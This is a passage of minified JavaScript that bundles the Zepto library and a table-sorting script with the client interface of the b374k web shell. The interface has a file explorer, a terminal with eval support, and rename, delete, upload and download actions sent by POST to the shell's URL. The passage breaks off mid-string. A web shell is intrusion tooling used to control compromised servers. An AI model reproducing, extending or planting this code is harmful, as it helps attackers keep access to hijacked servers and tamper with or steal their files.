d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/gi,scriptTypeRE=/^(?:text|application)\\/javascript/i,xmlTypeRE=/^(?:text|application)\\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\\w-]+:)?\\/\\/([^\\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\\w-]+:)\\/\\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)\nvar h=!0,j=!1;sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\\d\\d?)[\\/\\.-](\\d\\d?)[\\/\\.-]((\\d\\d)?\\d\\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\\bsortable\\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\\bsortbottom\\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\\bsorttable_nosort\\b/)){(mtch=headrow[b].className.match(/\\bsorttable_([a-z0-9]+)\\b/))&&(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\\bsorttable_sorted\\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/\\bsorttable_sorted_reverse\\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML="&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\\u00a3$\\u00a4]?[\\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\\s+|\\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\\s+|\\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\\s+|\\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\\s+|\\s+$/g,"");case 4:return a.nodeValue.replace(/^\\s+|\\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=sorttable.d(a.childNodes[c]);return b.replace(/^\\s+|\\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};var loading_count=0;var running=false;var defaultTab=\'explorer\';var currentTab=$(\'#\'+defaultTab);var tabScroll=new Object;var onDrag=false;var onScroll=false;var scrollDelta=1;var scrollCounter=0;var scrollSpeed=60;var scrollTimer=\'\';var dragX=\'\';var dragY=\'\';var dragDeltaX=\'\';var dragDeltaY=\'\';var editSuccess=\'\';var terminalHistory=new Array();var terminalHistoryPos=0;var evalSupported="";var evalReady=false;var resizeTimer=\'\';var portableWidth=700;var portableMode=null;Zepto(function($){if(init_shell){var now=new Date();output("started @ "+now.toGMTString());output("cwd : "+get_cwd());output("module : "+module_to_load);show_tab();xpl_bind();eval_init();window_resize();xpl_update_status();$(window).on(\'resize\',function(e){clearTimeout(resizeTimer);resizeTimer=setTimeout("window_resize()",1000)});$(\'.menuitem\').on(\'click\',function(e){selectedTab=$(this).attr(\'href\').substr(2);show_tab(selectedTab)});$(\'#logout\').on(\'click\',function(e){var cookie=document.cookie.split(\';\');for(var i=0;i<cookie.length;i++){var entries=cookie[i],entry=entries.split("="),name=entry[0];document.cookie=name+"=\'\'; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/"}localStorage.clear();location.href=targeturl});$(\'#totop\').on(\'click\',function(e){$(window).scrollTop(0)});$(\'#totop\').on(\'mouseover\',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll(\'top\')});$(\'#totop\').on(\'mouseout\',function(e){onScroll=false;scrollCounter=0});$(\'#tobottom\').on(\'click\',function(e){$(window).scrollTop($(document).height()-$(window).height())});$(\'#tobottom\').on(\'mouseover\',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll(\'bottom\')});$(\'#tobottom\').on(\'mouseout\',function(e){onScroll=false;scrollCounter=0});$(\'#basicInfo\').on(\'mouseenter\',function(e){$(\'#toggleBasicInfo\').show()});$(\'#basicInfo\').on(\'mouseleave\',function(e){$(\'#toggleBasicInfo\').hide()});$(\'#toggleBasicInfo\').on(\'click\',function(e){$(\'#basicInfo\').hide();$(\'#showinfo\').show();$(\'#toggleBasicInfo\').hide();localStorage.setItem(\'infoBarShown\',\'hidden\')});$(\'#showinfo\').on(\'click\',function(e){$(\'#basicInfo\').show();$(\'#showinfo\').hide();localStorage.setItem(\'infoBarShown\',\'shown\')});if((infoBarShown=localStorage.getItem(\'infoBarShown\'))){if(infoBarShown==\'shown\'){$(\'#basicInfo\').show();$(\'#showinfo\').hide()}else{$(\'#basicInfo\').hide();$(\'#showinfo\').show();$(\'#toggleBasicInfo\').hide()}}else{info_refresh()}if(history.pushState){window.onpopstate=function(event){refresh_tab()}}else{window.historyEvent=function(event){refresh_tab()}}}});function output(str){console.log(\'b374k> \'+str)}function window_resize(){bodyWidth=$(\'body\').width();if(bodyWidth<=portableWidth){layout_portable()}else{layout_normal()}}function layout_portable(){nav=$(\'#nav\');menu=$(\'#menu\');headerNav=$(\'#headerNav\');content=$(\'#content\');nav.prependTo(\'#content\');nav.css(\'padding\',\'5px 8px\');nav.css(\'margin-top\',\'8px\');nav.css(\'display\',\'block\');nav.addClass(\'border\');menu.children().css(\'width\',\'100%\');menu.hide();$(\'#menuButton\').remove();headerNav.prepend("<div id=\'menuButton\' class=\'boxtitle\' onclick=\\"$(\'#menu\').toggle();\\" style=\'float-left;display:inline;padding:4px 8px;margin-right:8px;\'>menu</div>");menu.attr(\'onclick\',"\\$(\'#menu\').hide();");$(\'#xplTable tr>:nth-child(4)\').hide();$(\'#xplTable tr>:nth-child(5)\').hide();if(!win){$(\'#xplTable tr>:nth-child(6)\').hide()}tblfoot=$(\'#xplTable tfoot td:last-child\');if(tblfoot[0])tblfoot[0].colSpan=1;if(tblfoot[1])tblfoot[1].colSpan=2;$(\'.box\').css(\'width\',\'100%\');$(\'.box\').css(\'height\',\'100%\');$(\'.box\').css(\'left\',\'0px\');$(\'.box\').css(\'top\',\'0px\');paddingTop=$(\'#header\').height();content.css(\'padding-top\',paddingTop+\'px\');portableMode=true}function layout_normal(){nav=$(\'#nav\');menu=$(\'#menu\');content=$(\'#content\');nav.insertAfter(\'#b374k\');nav.css(\'padding\',\'0\');nav.css(\'margin-top\',\'0\');nav.css(\'display\',\'inline\');nav.removeClass(\'border\');menu.children().css(\'width\',\'auto\');menu.show();$(\'#menuButton\').remove();menu.attr(\'onclick\',"");$(\'#xplTable tr>:nth-child(4)\').show();$(\'#xplTable tr>:nth-child(5)\').show();if(!win){$(\'#xplTable tr>:nth-child(6)\').show();colspan=4}else colspan=3;tblfoot=$(\'#xplTable tfoot td:last-child\');if(tblfoot[0])tblfoot[0].colSpan=colspan;if(tblfoot[1])tblfoot[1].colSpan=colspan+1;paddingTop=$(\'#header\').height();content.css(\'padding-top\',paddingTop+\'px\');portableMode=false}function start_scroll(str){if(str==\'top\'){to=$(window).scrollTop()-scrollCounter;scrollCounter=scrollDelta+scrollCounter;if(to<=0){to=0;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll(\'top\')",scrollSpeed);$(window).scrollTop(to)}}else if(str==\'bottom\'){to=$(window).scrollTop()+scrollCounter;scrollCounter=scrollDelta+scrollCounter;bottom=$(document).height()-$(window).height();if(to>=bottom){to=bottom;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll(\'bottom\')",scrollSpeed);$(window).scrollTop(to)}}}function get_cwd(){return decodeURIComponent(get_cookie(\'cwd\'))}function fix_tabchar(el,e){if(e.keyCode==9){e.preventDefault();var s=el.selectionStart;el.value=el.value.substring(0,el.selectionStart)+"\\t"+el.value.substring(el.selectionEnd);el.selectionEnd=s+1}}function get_cookie(key){var res;return(res=new RegExp(\'(?:^|; )\'+encodeURIComponent(key)+\'=([^;]*)\').exec(document.cookie))?(res[1]):null}function set_cookie(key,value){document.cookie=key+\'=\'+encodeURIComponent(value)}function html_safe(str){if(typeof(str)=="string"){str=str.replace(/&/g,"&amp;");str=str.replace(/"/g,"&quot;");str=str.replace(/\'/g,"&#039;");str=str.replace(/</g,"&lt;");str=str.replace(/>/g,"&gt;")}return str}function ucfirst(str){return str.charAt(0).toUpperCase()+str.slice(1)}function time(){var d=new Date();return d.getTime()}function send_post(targetdata,callback,loading){if(loading==null)loading_start();$.ajax({url:targeturl,type:\'POST\',data:targetdata,success:function(res){callback(res);if(loading==null)loading_stop()},error:function(){if(loading==null)loading_stop()}})}function loading_start(){if(!running){$(\'#overlay\').show();running=true;loading_loop()}}function loading_loop(){if(running){img=$(\'#loading\');img.css(\'transform\',\'rotate(\'+loading_count+\'deg)\');img.css(\'-ms-transform\',\'rotate(\'+loading_count+\'deg)\');img.css(\'-webkit-transform\',\'rotate(\'+loading_count+\'deg)\');loading_count+=7;if(loading_count>360)loading_count=0;if(running)setTimeout("loading_loop()",20)}}function loading_stop(){if(running){img=$(\'#loading\');img.css(\'transform\',\'rotate(0deg)\');img.css(\'-ms-transform\',\'rotate(0deg)\');img.css(\'-webkit-transform\',\'rotate(0deg)\');$(\'#overlay\').hide();running=false}}function show_tab(id){if(!id){if(location.hash!=\'\')id=location.hash.substr(2);else id=defaultTab}refresh_tab(id)}function refresh_tab(id){if(!id){if(location.hash!=\'\')id=location.hash.substr(2);else id=defaultTab}$(\'.menuitemSelected\').removeClass("menuitemSelected");$(\'#menu\'+id).addClass("menuitemSelected");tabScroll[currentTab.attr(\'id\')]=$(window).scrollTop();currentTab.hide();currentTab=$(\'#\'+id);currentTab.show();window[id]();if(tabScroll[id]){$(window).scrollTop(tabScroll[id])}hide_box()}function trap_enter(e,callback){if(e.keyCode==13){if(callback!=null)window[callback]()}}function show_box(title,content){onDrag=false;hide_box();box="<div class=\'box\'><p class=\'boxtitle\'>"+title+"<span class=\'boxclose floatRight\'>x</span></p><div class=\'boxcontent\'>"+content+"</div><div class=\'boxresult\'></div></div>";$(\'#content\').append(box);box_width=$(\'.box\').width();body_width=$(\'body\').width();box_height=$(\'.box\').height();body_height=$(\'body\').height();x=(body_width-box_width)/2;y=(body_height-box_height)/2;if(x<0||portableMode)x=0;if(y<0||portableMode)y=0;if(portableMode){$(\'.box\').css(\'width\',\'100%\');$(\'.box\').css(\'height\',\'100%\')}$(\'.box\').css(\'left\',x+\'px\');$(\'.box\').css(\'top\',y+\'px\');$(\'.boxclose\').on(\'click\',function(e){hide_box()});if(!portableMode){$(\'.boxtitle\').on(\'click\',function(e){if(!onDrag){dragDeltaX=e.pageX-parseInt($(\'.box\').css(\'left\'));dragDeltaY=e.pageY-parseInt($(\'.box\').css(\'top\'));drag_start()}else drag_stop()})}$(document).off(\'keyup\');$(document).on(\'keyup\',function(e){if(e.keyCode==27)hide_box()});if($(\'.box input\')[0])$(\'.box input\')[0].focus()}function hide_box(){$(document).off(\'keyup\');$(\'.box\').remove()}function drag_start(){if(!onDrag){onDrag=true;$(\'body\').off(\'mousemove\');$(\'body\').on(\'mousemove\',function(e){dragX=e.pageX;dragY=e.pageY});setTimeout(\'drag_loop()\',50)}}function drag_loop(){if(onDrag){x=dragX-dragDeltaX;y=dragY-dragDeltaY;if(y<0)y=0;$(\'.box\').css(\'left\',x+\'px\');$(\'.box\').css(\'top\',y+\'px\');setTimeout(\'drag_loop()\',50)}}function drag_stop(){onDrag=false;$(\'body\').off(\'mousemove\')}function get_all_cbox_selected(id,callback){var buffer=new Array();$(\'#\'+id).find(\'.cBoxSelected\').not(\'.cBoxAll\').each(function(i){if((href=window[callback]($(this)))){buffer[i]=href}});return buffer}function cbox_bind(id,callback){$(\'#\'+id).find(\'.cBox\').off(\'click\');$(\'#\'+id).find(\'.cBoxAll\').off(\'click\');$(\'#\'+id).find(\'.cBox\').on(\'click\',function(e){if($(this).hasClass(\'cBoxSelected\')){$(this).removeClass(\'cBoxSelected\')}else $(this).addClass(\'cBoxSelected\');if(callback!=null)window[callback]()});$(\'#\'+id).find(\'.cBoxAll\').on(\'click\',function(e){if($(this).hasClass(\'cBoxSelected\')){$(\'#\'+id).find(\'.cBox\').removeClass(\'cBoxSelected\');$(\'#\'+id).find(\'.cBoxAll\').removeClass(\'cBoxSelected\')}else{$(\'#\'+id).find(\'.cBox\').not(\'.cBoxException\').addClass(\'cBoxSelected\');$(\'#\'+id).find(\'.cBoxAll\').not(\'.cBoxException\').addClass(\'cBoxSelected\')}if(callback!=null)window[callback]()})}function action(path,type){title="Action";content=\'\';if(type==\'file\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'edit button\'>edit</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span><span class=\'dl button\'>download</span></td></tr></table>";if(type==\'dir\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'find button\'>find</span><span class=\'ul button\'>upload</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span></td></tr></table>";if(type==\'dot\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'find button\'>find</span><span class=\'ul button\'>upload</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span><span class=\'newfile button\'>new file</span><span class=\'newfolder button\'>new folder</span></td></tr></table>";show_box(title,content);xpl_bind()}function navigate(path,showfiles){if(showfiles==null)showfiles=\'true\';send_post({cd:path,showfiles:showfiles},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==3){$(\'#nav\').html(splits[1]);if(showfiles==\'true\'){$(\'#explorer\').html(\'\');$(\'#explorer\').html(splits[2]);sorttable.k($(\'#xplTable\').get(0))}$(\'#terminalCwd\').html(html_safe(get_cwd())+\'&gt;\');xpl_bind();window_resize()}}})}function view(path,type,preserveTimestamp){if(preserveTimestamp==null)preserveTimestamp=\'true\';send_post({viewFile:path,viewType:type,preserveTimestamp:preserveTimestamp},function(res){if(res!=\'error\'){$(\'#explorer\').html(\'\');$(\'#explorer\').html(res);xpl_bind();show_tab(\'explorer\');if((type==\'edit\')||(type==\'hex\')){editResult=(type==\'edit\')?$(\'#editResult\'):$(\'#editHexResult\');if(editSuccess==\'success\'){editResult.html(\' ( File saved )\')}else if(editSuccess==\'error\'){editResult.html(\' ( Failed to save file )\')}editSuccess=\'\'}cbox_bind(\'editTbl\')}})}function view_entry(el){if($(el).attr(\'data-path\')!=\'\'){entry=$(el).attr(\'data-path\');$(\'#form\').append("<input type=\'hidden\' name=\'viewEntry\' value=\'"+entry+"\'>");$(\'#form\').submit();$(\'#form\').html(\'\')}}function ren(path){title="Rename";content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Rename to</td><td><input type=\'text\' class=\'renameFileTo\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ren_go\');\\"><input type=\'hidden\' class=\'renameFile\' value=\'"+path+"\'></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'ren_go();\'>rename</span></td></tr></table>";show_box(title,content)}function ren_go(){renameFile=$(\'.renameFile\').val();renameFileTo=$(\'.renameFileTo\').val();send_post({renameFile:renameFile,renameFileTo:renameFileTo},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) 